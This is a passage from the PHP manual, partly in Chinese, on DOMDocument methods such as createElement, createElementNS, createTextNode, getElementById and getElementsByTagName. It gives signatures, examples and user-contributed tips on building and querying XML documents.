                $keyvalue = split("=", $attribute);
                $tempEl->setAttribute($keyvalue[0], $keyvalue[1]);
            }
        }
        if(gettype($params) == "array")
        {
            if(gettype($params[0]) == "array")
            {
                foreach($params as $attribute)
                {
                    $tempEl->setAttribute($attribute[0], $attribute[1]);
                }
            } else {
                $tempEl->setAttribute($params[0], $params[1]);
            }
        }
?>
lars dot c dot magnusson at gmail dot com 26-Nov-2010 01:56
You may think insertBefore and insertAfter is a direct alternative for appendChild, this is not the case.

<?php
$dom = new DOMDocument();
$dom->load($file);

$dom->appendChild($newNode); //Works fine
$dom->insertBefore($newNode, $refNode); //Will fail

$refNode->parentNode->insertBefore($newNode, $refNode); // thanx to yasindagli (first post)
?>
yasindagli at gmail dot com 17-Jun-2009 02:01
To create elements with attributes,

<?php

function createElement($domObj, $tag_name, $value = NULL, $attributes = NULL)
{
    $element = ($value != NULL ) ? $domObj->createElement($tag_name, $value) : $domObj->createElement($tag_name);

    if( $attributes != NULL )
    {
        foreach ($attributes as $attr=>$val)
        {
            $element->setAttribute($attr, $val);
        }
    }

    return $element;
}

$dom = new DOMDocument('1.0', 'utf-8');

$elm = createElement($dom, 'foo', 'bar', array('attr_name'=>'attr_value'));

$dom->appendChild($elm);

echo $dom->saveXML();

?>

outputs :
<?xml version="1.0" encoding="utf-8"?>
<foo attr_name="attr_value">bar</foo>
chris AT cmbuckley DOT co DOT uk 26-May-2009 07:45
Note that the NUL character "\0" is not in the list of invalid characters for $name, so no error is triggered, but the tag name will be truncated at the null byte:

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$el = $dom->createElement('foo' . "\0" . 'bar', 'Hello World');
echo $el->tagName; // outputs "foo"

?>
estill at gvtc dot com 12-Jun-2007 02:38
Note that the second parameter (value), although convenient, is non-standard. You should create elements like this instead:

<?php
$doc = new DOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElement('test');
$doc->appendChild($root);

$root_text = $doc->createTextNode('This is the root element!');
$root->appendChild($root_text);

print $doc->saveXML();
?>

Or, alternatively, extend the DOMDocument class and add your own custom, convenience method to avoid intruding on the standard:

<?php
class CustomDOMDocument extends DOMDocument {
  function createElementWithText($name, $child_text) {
    // Creates an element with a child text node

    // @param  string  $name        element tag name
    // @param  string  $child_text  child node text

    // @return  object  new element

    $element = $this->createElement($name);

    $element_text = $this->createTextNode($child_text);
    $element->appendChild($element_text);

    return $element;
  }
}

$doc = new CustomDOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElementWithText('test', 'This is the root element!');
$doc->appendChild($root);

print $doc->saveXML();
?>

Also use caution with (or avoid) the 'DOMElement->nodeValue' property. It can return some unexpected values and changing its value will replace (remove) all descendants of the element with a single text node. It's also non-standard; according to the DOM spec it should return NULL.
mikek dot nospam at nospam dot muonics dot com 03-Mar-2007 05:24
With regard to the note below about needing htmlentities to avoid warnings about unterminated entity references, I thought it worthwhile to mention that that you don't need to with createTextNode and DOMText::__construct.  If you mix both methods of setting text nodes and do (or don't) apply htmlentities consistently to all data to be displayed, you'll get &amp;s (or warnings and badly-formed xml).

It's probably in one's best interest to extend DOMElement and DOMDocument so that it creates a DOMText node and appends it, rather than passing it up to the DOMElement constructor.  Otherwise, good luck using (or not using) htmlentities in all the right places in your code, especially as code changes get made.

<?php

class XDOMElement extends DOMElement {
    function __construct($name, $value = null, $namespaceURI = null) {
        parent::__construct($name, null, $namespaceURI);
    }
}

class XDOMDocument extends DOMDocument {
    function __construct($version = null, $encoding = null) {
        parent::__construct($version, $encoding);
        $this->registerNodeClass('DOMElement', 'XDOMElement');
    }

    function createElement($name, $value = null, $namespaceURI = null) {
        $element = new XDOMElement($name, $value, $namespaceURI);
        $element = $this->importNode($element);
        if (!empty($value)) {
            $element->appendChild(new DOMText($value));
        }
        return $element;
    }
}

$doc1 = new XDOMDocument();
$doc1_e1 = $doc1->createElement('foo', 'bar & baz');
$doc1->appendChild($doc1_e1);
echo $doc1->saveXML();

$doc2 = new XDOMDocument();
$doc2_e1 = $doc2->createElement('foo');
$doc2->appendChild($doc2_e1);
$doc2_e1->appendChild($doc2->createTextNode('bar & baz'));
echo $doc2->saveXML();

?>

Text specified in createElement:
<?xml version=""?>
<foo>bar &amp; baz</foo>

Text added via createTextNode:
<?xml version=""?>
<foo>bar &amp; baz</foo>
sergsokolenko at gmail dot com 30-Jan-2007 04:11
To avoid warning message "unterminated entity reference" you may use htmlentities() for escaping supplied value:
<?php
//...
$dom->createElement('name', htmlentities($text))
//...
?>


Create new element node with an associated namespace

  • ? DOMDocument::createElement
  • DOMDocument::createEntityReference ?
  • PHP Manual
  • DOMDocument
  • Create new element node with an associated namespace

DOMDocument::createElementNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::createElementNS — Create new element node with an associated namespace

说明

public DOMDocument::createElementNS(?string $namespace, string $qualifiedName, string $value = ""): DOMElement|false

This function creates a new element node with an associated namespace. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

namespace

The URI of the namespace.

qualifiedName

The qualified name of the element, as prefix:tagname.

value

The value of the element. By default, an empty element will be created. You can also set the value later with DOMElement::$nodeValue.

返回值

The new DOMElement or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name.

示例

Example #1 Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElementNS('http://www.example.com/XFoo', 'xfoo:test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<xfoo:test xmlns:xfoo="http://www.example.com/XFoo">This is the root element!</xfoo:test>

Example #2 A namespace prefix example

<?php
$doc = new DOMDocument('1.0', 'utf-8');
$doc->formatOutput = true;
$root = $doc->createElementNS('http://www.w3.org/2005/Atom', 'element');
$doc->appendChild($root);
$root->setAttributeNS('http://www.w3.org/2000/xmlns/' ,'xmlns:g', 'http://base.google.com/ns/1.0');
$item = $doc->createElementNS('http://base.google.com/ns/1.0', 'g:item_type', 'house');
$root->appendChild($item);

echo $doc->saveXML(), "\n";

echo $item->namespaceURI, "\n"; // Outputs: http://base.google.com/ns/1.0
echo $item->prefix, "\n"; // Outputs: g
echo $item->localName, "\n"; // Outputs: item_type
?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<element xmlns="http://www.w3.org/2005/Atom" xmlns:g="http://base.google.com/ns/1.0">
  <g:item_type>house</g:item_type>
</element>

http://base.google.com/ns/1.0
g
item_type

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Martin 27-Dec-2011 09:39
To avoid multiple xmlns re-declaration, make sure you appending ElementNS into actual DOMDocument tree (not into some currently-assembed derelict element).


Create new entity reference node

  • ? DOMDocument::createElementNS
  • DOMDocument::createProcessingInstruction ?
  • PHP Manual
  • DOMDocument
  • Create new entity reference node

DOMDocument::createEntityReference

(PHP 5, PHP 7, PHP 8)

DOMDocument::createEntityReference — Create new entity reference node

说明

public DOMDocument::createEntityReference(string $name): DOMEntityReference|false

This function creates a new instance of class DOMEntityReference. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

name

The content of the entity reference, e.g. the entity reference minus the leading & and the trailing ; characters.

返回值

The new DOMEntityReference or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

alicewonder at shastaherps dot org 24-Sep-2015 07:48
It appears that this does not work with numbered entities, only named entities.

$nbspace = $dom->createEntityReference('nbsp');

works

$nbspace = $dom->createEntityReference('#160');

does not. This makes this function rather useless when generating an XSL unless you modify the XSL doctype to include the named entity for the character you want.
Tuhin Bepari 04-Nov-2013 06:00
<?php
/*Entity is a group of words which print a special symbol.
Like if we want to show copy right symbol in html page then we use &copy; code and browser convert this to actual copyright symbol.
There have lots of entity, you can find them all form http://dev.w3.org/html5/html-author/charref
if you want to use < or > or both <> into a node value than xml will give and warning or make this value as a node.
So tell the xml parser that < or > is not tag symbol it is a entity.To do that you have to right &lt(<) and &gt;(>) instead of < and > symbol.

Entity references always begin with an ampersand (&) and end with a semicolon (;).
DO not need to use & and ; symbol begin and end of entity.Remove it when you want to use it to DOMDocument::createEntityReference
Then append to to a tag where you want to show this symbol.Like below
*/
$dom=new DOMDocument("1.0","UTF-8");
$example=$dom->createElement("example","This is copyright ");
$entity=$dom->createEntityReference("copy");
$example->appendChild($entity);
$dom->appendChild($example);
echo $dom->saveXML();

output is
This is copyright ©


Creates new PI node

  • ? DOMDocument::createEntityReference
  • DOMDocument::createTextNode ?
  • PHP Manual
  • DOMDocument
  • Creates new PI node

DOMDocument::createProcessingInstruction

(PHP 5, PHP 7, PHP 8)

DOMDocument::createProcessingInstruction — Creates new PI node

说明

public DOMDocument::createProcessingInstruction(string $target, string $data = ""): DOMProcessingInstruction|false

This function creates a new instance of class DOMProcessingInstruction. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

target

The target of the processing instruction.

data

The content of the processing instruction.

返回值

The new DOMProcessingInstruction or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if target contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

romain at supinfo dot com 03-Feb-2009 11:57
A use exemple of this method :

Usefull for generating an XML linked with a XSLT !

<?php

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

//to have indented output, not just a line
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;

// ------------- Interresting part here ------------

//creating an xslt adding processing line
$xslt = $xml->createProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="base.xsl"');

//adding it to the xml
$xml->appendChild($xslt);

// ----------- / Interresting part here -------------

//adding some elements
$root = $xml->createElement("list");
$node = $xml->createElement("contact", "John Doe");
$root-> appendChild($node);
$xml-> appendChild($root);

//creating the file
$xml-> save("output.xml");

?>

output.xml :

<?xml version="1.0" encoding="ISO-8859-15"?>
<?xml-stylesheet type="text/xsl" href="base.xsl"?> //the line has been created successfully
<list>
  <contact>John Doe</contact>
</list>


Create new text node

  • ? DOMDocument::createProcessingInstruction
  • DOMDocument::getElementById ?
  • PHP Manual
  • DOMDocument
  • Create new text node

DOMDocument::createTextNode

(PHP 5, PHP 7, PHP 8)

DOMDocument::createTextNode — Create new text node

说明

public DOMDocument::createTextNode(string $data): DOMText

This function creates a new instance of class DOMText. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

data

The content of the text.

返回值

The new DOMText.

更新日志

版本 | 说明
8.1.0 | In case of an error, a DomException is thrown now. Previously, false was returned.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node

User Contributed Notes

drewish at katherinehouse dot com 16-Dec-2014 10:03
The docs don't mention it but this method performs escaping on the value. If you don't want that use createElement() instead.
Alex Kaye 25-Jul-2009 07:04
A quick note to anyone who is using character entities (e.g. &copy;) in this, and finding them automatically escaped. The correct thing to do here is to use the createEntityReference method (e.g. createEntityReference("copy");), and then appendChild this entity between text nodes.

Example:

<?php
$copyright_text_1 = $this->document->createTextNode("Copyright ");
$copyright_text_2 = $this->document->createTextNode(" Alex Kaye 2009");
$copyright_symbol = $this->document->createEntityReference("copy");
$copyright->appendChild($copyright_text_1);
$copyright->appendChild($copyright_symbol);
$copyright->appendChild($copyright_text_2);
?>


Searches for an element with a certain id

  • ? DOMDocument::createTextNode
  • DOMDocument::getElementsByTagName ?
  • PHP Manual
  • DOMDocument
  • Searches for an element with a certain id

DOMDocument::getElementById

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementById — Searches for an element with a certain id

说明

public DOMDocument::getElementById(string $elementId): ?DOMElement

This function is similar to DOMDocument::getElementsByTagName but searches for an element with a given id.

For this function to work, you will need either to set some ID attributes with DOMElement::setIdAttribute or a DTD which defines an attribute to be of type ID. In the later case, you will need to validate your document with DOMDocument::validate or DOMDocument::$validateOnParse before using this function.

参数

elementId

The unique id value for an element.

返回值

Returns the DOMElement or null if the element is not found.

示例

Example #1 DOMDocument::getElementById() Example

以下示例使用了 book.xml，其内容如下：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
  <!ELEMENT books   (book+)>
  <!ELEMENT book    (title, author+, xhtml:blurb?)>
  <!ELEMENT title   (#PCDATA)>
  <!ELEMENT blurb   (#PCDATA)>
  <!ELEMENT author  (#PCDATA)>
  <!ATTLIST books   xmlns        CDATA  #IMPLIED>
  <!ATTLIST books   xmlns:xhtml  CDATA  #IMPLIED>
  <!ATTLIST book    id           ID     #IMPLIED>
  <!ATTLIST author  email        CDATA  #IMPLIED>
]>
<?xml-stylesheet type="text/xsl" href="style.xsl"?>
<books xmlns="http://books.php/" xmlns:xhtml="http://www.w3.org/1999/xhtml">
  <book id="php-basics">
    <title>PHP Basics</title>
    <author email="jim.smith@basics.php">Jim Smith</author>
    <author email="jane.smith@basics.php">Jane Smith</author>
    <xhtml:blurb><![CDATA[
<p><em>PHP Basics</em> provides an introduction to PHP.</p>
]]></xhtml:blurb>
  </book>
  <book id="php-advanced">
    <title>PHP Advanced Programming</title>
    <author email="jon.doe@advanced.php">Jon Doe</author>
  </book>
</books>
<?php

$doc = new DomDocument;

// We need to validate our document before referring to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

echo "The element whose id is 'php-basics' is: " . $doc->getElementById('php-basics')->tagName . "\n";

?>

以上示例会输出：

The element whose id is 'php-basics' is: book

参见

  • DOMDocument::getElementsByTagName() - Searches for all elements with given local tag name

User Contributed Notes

Hoi 07-Jul-2020 10:39
To set a hidden id that can be used by $dom->getElementById() apply setAttribute('id', true) as in the following example

                    $createItemNode = function ($data) use ($dom) {
                        $node = $dom->createElement("Item");
                        $node->setAttribute('id', $data->id);
                        $node->setAttribute('hed', $data->hed);
                        $node->setAttribute('run_time', $data->run_time);
                        $node->setAttribute('date', $data->date);

                        // Internally mark the id as 'xml:id' for getElementById to work. Adding xml:id manually to the tag will cause loadXML to throw an error DOMDocument: xml:id is not a NCName in Entity
                        $node->setIdAttribute('id', true);

                        return $node;
                    };

With $node->setIdAttribute('id', true), $dom->getElementById($id) will work

When you do $dom->saveXML(), the final doc will not contain any xml:id attribute.
ed at edgiardina dot com 13-Oct-2010 11:41
Please note that if your HTML does not contain a doctype declaration, then getElementById will always return null.
paradox_haze at live dot de 02-Mar-2010 10:53
Had some issues with getElementById() while searching for a specific element in a XHTML document.
I wrote a small function what was solving my problem:

<?php
function getElementById($id)
{
    $xpath = new DOMXPath($this->domDocument);
    return $xpath->query("//*[@id='$id']")->item(0);
}
?>
carl2088 at gmail dot com 11-Apr-2009 12:41
From my experience, getElementById seem to work fine without any setups if you have loaded a HTML document. But in order for getElementById to work with a simple XML document that you've "constructed", you have to set up the id with "xml:" prefix and use setIdAttribute on the element you created or it won't work. See following example, hope this will save someone's frustration. If you have loaded the xml file, then all you have to make sure is the ID has a xml: prefix for the attribute.  But if you start to append the XML document, don't forget to setIdAttribute on the id name or those elements or getElementById will return null when you try to find them.

<?php

    /* test.xml
    <?xml version="1.0" encoding="utf-8"?>
    <root>
        <child xml:id="id_xxxxxx" status="partial">
            <sub_child>Some Data</sub_child>
        </child>
    </root>
    */

    $xmlDom = new DOMDocument('1.0', 'utf-8');
    $xmlDom->formatOutput = true;                        // we want a nice output

    // create a root
    $eltRoot = $xmlDom->createElement("root");
    $xmlDom->appendChild($eltRoot);

    $eltChild = $xmlDom->createElement("child");
    $eltRoot->appendChild($eltChild);

    // add a id attribute
    $attr = $xmlDom->createAttribute("xml:id");    // needs xml prefix or getElementById won't work
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("id_8120528");
    $attr->appendChild($tNode);
    $eltChild->setIdAttribute("xml:id", true);    // VERY IMPORT or getElementById won't work

    // add a id attribute
    $attr = $xmlDom->createAttribute("status");
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("partial");
    $attr->appendChild($tNode);

    // add a subchild
    $eltSub = $xmlDom->createElement("sub_child");
    $eltChild->appendChild($eltSub);

    $tNode = $xmlDom->createTextNode("Some Data");
    $eltSub->appendChild($tNode);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // bug? empty
    $strStatus = $id->getAttribute("status"); // this works!

    assert ($id !=null);

    $xmlDom->save("./_data/test.xml");

    $xmlDom->load("./_data/test.xml"); // reloading fixes the problem

    $nodeRoot = $xmlDom->getElementsByTagName("root");
    if ($nodeRoot->length > 0) {
        $eltRoot = $nodeRoot->item(0);
    }

    assert($eltRoot != null);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // this works now!
    $strStatus = $id->getAttribute("status"); // this works!

?>
guillaume dot crico at gmail dot com 01-Oct-2008 07:55
You don't want to use "xml:id" ?
Here is the relaxNG trick (with a generic schema):
(tested with libxml 2.6.26)

<?php
$doc = new DOMDocument();
$doc->load(...);

$rng = '
<grammar xmlns="http://relaxng.org/ns/structure/1.0" datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes">
    <start>
        <element>
            <anyName/>
            <ref name="anythingID"/>
        </element>
    </start>
    <define name="anythingID">
        <zeroOrMore>
            <choice>
                <element>
                    <anyName/>
                    <ref name="anythingID"/>
                </element>
                <attribute name="id">
                    <data type="ID"/>
                </attribute>
                <zeroOrMore>
                    <attribute><anyName/></attribute>
                </zeroOrMore>
                <text/>
            </choice>
        </zeroOrMore>
    </define>
</grammar>
';

$doc->relaxNGValidateSource($rng);
var_dump($doc->getElementById('id1'));
?>

Note that ID values must be valid ones :
  - integers do no work!
  - @see http://www.w3.org/TR/REC-xml/#id
  - => (Letter | '_' | ':') ( Letter | Digit | '.' | '-' | '_' | ':' | CombiningChar | Extender  )*
simon at somewhere dot com 29-Jan-2007 08:07
SAVE YOURSELF A MAJOR HEADACHE AND A LOT OF SEARCHING THROUGH DOCUMENTATION -

Instead of using $object->setAttribute('id', 'id_name_here')
USE THIS: $object->setAttribute('xml:id', 'id_name_here')

Then, to get the node value: $domDocumentObject->getElementById('id_name_here');

The xml:id attribute should AUTOMATICALLY be defined!!

Woohoo!  That was easy......
jonbarnett at gmail dot com 01-Nov-2006 08:36
If your XML document does not have a DTD that defines the "id" attribute as an ID, then the easiest thing to do is to use XPath->query() to find an element that matches "//[@id='x']"
Tangui dot Le-Pense at laposte dot net 08-Apr-2006 06:00
Validating a document from a DTD so as to use getElementById is sometimes impossible (for example when the head and body elements are not included yet in a XHtml document : the validation failed).
Fortunately, xml:id is supported by this function :)
That may be useful.
http://www.w3.org/TR/xml-id/
20-Dec-2005 07:04
If you're trying to use getElementById with a xml file validated on a xsd file you must first use the schemaValidate function or getElementById will return null
Example:

  $dom = new DomDocument();
  $dom->load("users.xml");
  $dom->schemaValidate("users.xsd");

  $curruser = $dom->getElementById($user->name);
bart at mediawave dot nl 11-Sep-2005 04:46
It seems getElementById works fine without setting validateOnParse to true. Which is nice since setting this to true caused some performance problems with my script.


Searches for all elements with given local tag name

  • ? DOMDocument::getElementById
  • DOMDocument::getElementsByTagNameNS ?
  • PHP Manual
  • DOMDocument
  • Searches for all elements with given local tag name

DOMDocument::getElementsByTagName

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementsByTagName — Searches for all elements with given local tag name

说明

public DOMDocument::getElementsByTagName(string $qualifiedName): DOMNodeList

This function returns a new instance of class DOMNodeList containing all the elements with a given local tag name.

参数

qualifiedName

The local name (without namespace) of the tag to match on. The special value * matches all tags.

返回值

A new DOMNodeList object containing all the matched elements.

示例

Example #1 Basic Usage Example

<?php
$xml = <<< XML
<?xml version="1.0" encoding="utf-8"?>
<books>
<book>Patterns of Enterprise Application Architecture</book>
<book>Design Patterns: Elements of Reusable Software Design</book>
<book>Clean Code</book>
</books>
XML;

$dom = new DOMDocument;
$dom->loadXML($xml);
$books = $dom->getElementsByTagName('book');
foreach ($books as $book) {
echo $book->nodeValue, PHP_EOL;
}
?>

以上示例会输出：

Patterns of Enterprise Application Architecture
Design Patterns: Elements of Reusable Software Design
Clean Code

参见

  • DOMDocument::getElementsByTagNameNS() - Searches for all elements with given tag name in specified namespace

User Contributed Notes

Mateusz K 19-Dec-2019 08:04
If you want to move all nodes to another tag you can do it like that
Eg: replace <div> with nodes to <p> with the same nodes.

function replaceDomElementTag(DOMDocument $dom, DOMElement $node, string $tagName)
{
        $newElement = $dom->createElement($tagName);
        while ($node->childNodes->length)
            $newElement->appendChild($node->childNodes[0]);

        $node->parentNode->replaceChild($newElement, $node);
}

$dom = new DOMDocument();
replaceDomElementTag($dom, $divElementToReplace, 'p');
rsvvuuren at hotmail dot com 10-Jan-2014 10:00
I was in need of $dom->getElementsByTagName that would hist magic within a contextNode.

Why i needed getElementsByTagName instead of just simple using an xPath->query is because while looping through the returned nodelist, more nodes with the tagName i was looking for where created.

When using getElementsByTagName, the new nodes are "added" to the nodelist i already am looping through.

When using an xpath query, you wil only loop through the original nodelist, the newly created elements wil not appear in that nodelist.

I was already using an extended class on domDocument, so it was simple to create an kind of getElementsByTagName that would accept an contextNode.

<?php
class SmartDocument extends DOMDocument {
    private $localDom;
    public $xpath;
    private $serialize = array('localDom');

    private $elemName;
    private $elemCounter;

    /**
     * Constructor
     */
    function __construct() {
        parent::__construct ( '1.0', 'UTF-8' );
        $this->preserveWhiteSpace = false;
        $this->recover = TRUE;
        $this->xpath = new DOMXpath ( $this );
    }

    /**
     * GetElementsByTagname within an contextNode
     *
     * @param string $name
     * @param DomNode $contextNode
     * @return DOMNode|NULL
     */
    public function getElementsByTagNameContext($name, $contextNode) {

        if($this->elemName!=$name) {
            $this->elemCounter     = 0;
            $this->elemName        =$name;
        }

        $this->elemLength      = $this->xpath->evaluate('count(.//*[name()="'.$this->elemName.'"])', $contextNode);
        while($this->elemCounter < $this->elemLength) {
            $this->elemCounter++;
            $nl = $this->xpath->query('.//*[name()="'.$this->elemName.'"]['.$this->elemCounter.']', $contextNode);
            if($nl->length == 1) {
                return $nl->item(0);
            }
        }

        $this->elemLength      = null;
        $this->elemCounter     = null;
        $this->elemName        = null;
        return null;
    }
}

?>

Usage:

<?php

 $doc = new SmartDocument();
 $doc->load('book.xml');

 $nl = $doc->query('//books');
 foreach($nl as $node) {
  while($book = $doc->getElementsByTagNameContext('book', $node)) {
   //When you now create new nodes within this loop as child or following-sibling of this node
  // They show up within this loop
  }

 }

?>
simon at onepointltd dot com 10-Sep-2013 07:54
Here is a function to convert the populated tables in and HTML document into an array.

<?php
//Create an array containing all the populated tables in an HTML page
//Returned array: tables_to_array[table number][row number][column number]
function tables_to_array ($url) {
  $htmlDocDom = new DOMDocument();

  @$htmlDocDom->loadHTMLFile($url);
  $htmlDocDom->preserveWhiteSpace = false;
  $tableCounter = 0;
  $htmlDocTableArray = array();
  $htmlDocTables = $htmlDocDom->getElementsByTagName('table');
  foreach ($htmlDocTables as $htmlDocTable) {
    $htmlDocTableArray[$tableCounter] = array();
    $htmlDocRows= $htmlDocTable->getElementsByTagName('tr');
    $htmlDocRowCount = 0;
    $htmlDocTableArray[$tableCounter] = array();
    foreach ($htmlDocRows as $htmlDocRow) {
      if (strlen($htmlDocRow->nodeValue) > 1)
      {
        $htmlDocColCount = 0;
        $htmlDocTableArray[$tableCounter][$htmlDocRowCount] = array();
        $htmlDocCols = $htmlDocRow->getElementsByTagName('td');
        foreach ($htmlDocCols as $htmlDocCol) {
          $htmlDocTableArray[$tableCounter][$htmlDocRowCount][] = $htmlDocCol->nodeValue;
          $htmlDocColCount++;
        }
        $htmlDocRowCount++;
      }
    }
    if ($htmlDocRowCount > 1) $tableCounter++;
  }
  return($htmlDocTableArray);
}
?>
yaakov dot moddel at gmail dot com 28-Aug-2012 10:47
This is a very simplistic way to traverse xml nodes and childnodes using the DOMDocument class

<?php
$xml ='<?xml version="1.0" encoding="utf-8"?>
<root>
    <Parent>
        <child>child 1</child>
        <child>child 2</child>
        <child>child 3</child>
        <subParent>
            <Grandchild>Grandchild 1</Grandchild>
            <Grandchild>Grandchild 2</Grandchild>
            <Grandchild>Grandchild 3</Grandchild>
        </subParent>
    </Parent>
    <Parent>
        <child>child 4</child>
        <child>child 5</child>
        <child>child 6</child>
        <subParent>
            <Grandchild>Grandchild 4</Grandchild>
            <Grandchild>Grandchild 5</Grandchild>
            <Grandchild>Grandchild 6</Grandchild>
        </subParent>
    </Parent>
</root>';
      $doc = new DOMDocument();
      $doc->preserveWhiteSpace = false;
      $doc->loadXML($xml);
      $i=0;
            while(is_object($finance = $doc->getElementsByTagName("Parent")->item($i)))
            {
                     foreach($finance->childNodes as $nodename)
                     {
                             if($nodename->nodeName=='subParent')
                                {
                                     foreach($nodename->childNodes as $subNodes)
                                     {
                                     echo $subNodes->nodeName." - ".$subNodes->nodeValue."<br>";
                                     }
                                }
                             else
                                {
                                echo $nodename->nodeName." - ".$nodename->nodeValue."<br>";
                                }
                     }
      $i++;
            }
?>
metron at underhive-planet dot com 08-Oct-2010 05:28
My first try to get a stable solution with this function, failed with this Exception:

"Fatal error: Call to undefined method DOMNodeList::getElementsByTagName()"
This is the xml snipplet:
<?xml version="1.0" encoding="UTF-8"?>
<root>
 <component>
  <properties>
    ....<any element>
  </properties>
 </component>
</root>

So the php code to climb along the elements is:
<?php

$src = new DOMDocument('1.0', 'utf-8');
$src->formatOutput = true;
$src->preserveWhiteSpace = false;

//Loading extern file
$src->load('../xml/Item_component.xml');

//Check each child of first indexed branch node of: <component>
//First get element after root element: <component>

//1st level
$component = $src->getElementsByTagName('component')->item(0);

//2nd level, get next element after component, here it fails!!
$properties = $component->getElementsByTagName('properties')->item(0);
...
?>

I realised, that there is a different when using different libxml2 versions on Apache2. This code will fail with libxml2 version 2.6.23 and PHP version 5.2.6
--
->It works fine with libxml2 version 2.6.32 and PHP version 5.2.6-3ubuntu4.6
->...and finally it also works with libxml2 2.7.7 and PHP >= 5.3

So if you bored to search for solutions with DOM like I did, please ensure that your www environment has the correct libxml2 / PHP Version installed on your apache2 server.
calvin at g mail 02-Oct-2010 04:41
My first post!
And this is how I get elements by attribute and its value.
For an example, if I want to grab all DIV tags with class name 'className', then...

<?php
$some_link = 'some website';
$tagName = 'div';
$attrName = 'class';
$attrValue = 'className';

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
@$dom->loadHTMLFile($some_link);

$html = getTags( $dom, $tagName, $attrName, $attrValue );
echo $html;

function getTags( $dom, $tagName, $attrName, $attrValue ){
    $html = '';
    $domxpath = new DOMXPath($dom);
    $newDom = new DOMDocument;
    $newDom->formatOutput = true;

    $filtered = $domxpath->query("//$tagName" . '[@' . $attrName . "='$attrValue']");
    // $filtered =  $domxpath->query('//div[@class="className"]');
    // '//' when you don't know 'absolute' path

    // since above returns DomNodeList Object
    // I use following routine to convert it to string(html); copied it from someone's post in this site. Thank you.
    $i = 0;
    while( $myItem = $filtered->item($i++) ){
        $node = $newDom->importNode( $myItem, true );    // import node
        $newDom->appendChild($node);                    // append node
    }
    $html = $newDom->saveHTML();
    return $html;
}

?>

Please, improve it, and share it.
Philip N 01-Sep-2010 03:17
Note that when using getElementsByTagName that it is a dynamic list. Thus if you have code which adjusts the DOM structure it will change the results of the getElementsByTagName results list.

The following code iterates through a complete set of results and changes them all to a new tag:

<?php
 $nodes = $xml->getElementsByTagName ("oldtag");

 $nodeListLength = $nodes->length; // this value will also change
 for ($i = 0; $i < $nodeListLength; $i ++)
 {
    $node = $nodes->item(0);

    // some code to change the tag name from "oldtag" to something else
    // e.g. encrypting a tag element
 }
?>

Since the list is dynamically updating, $nodes->item(0) is the next "unchanged" tag.
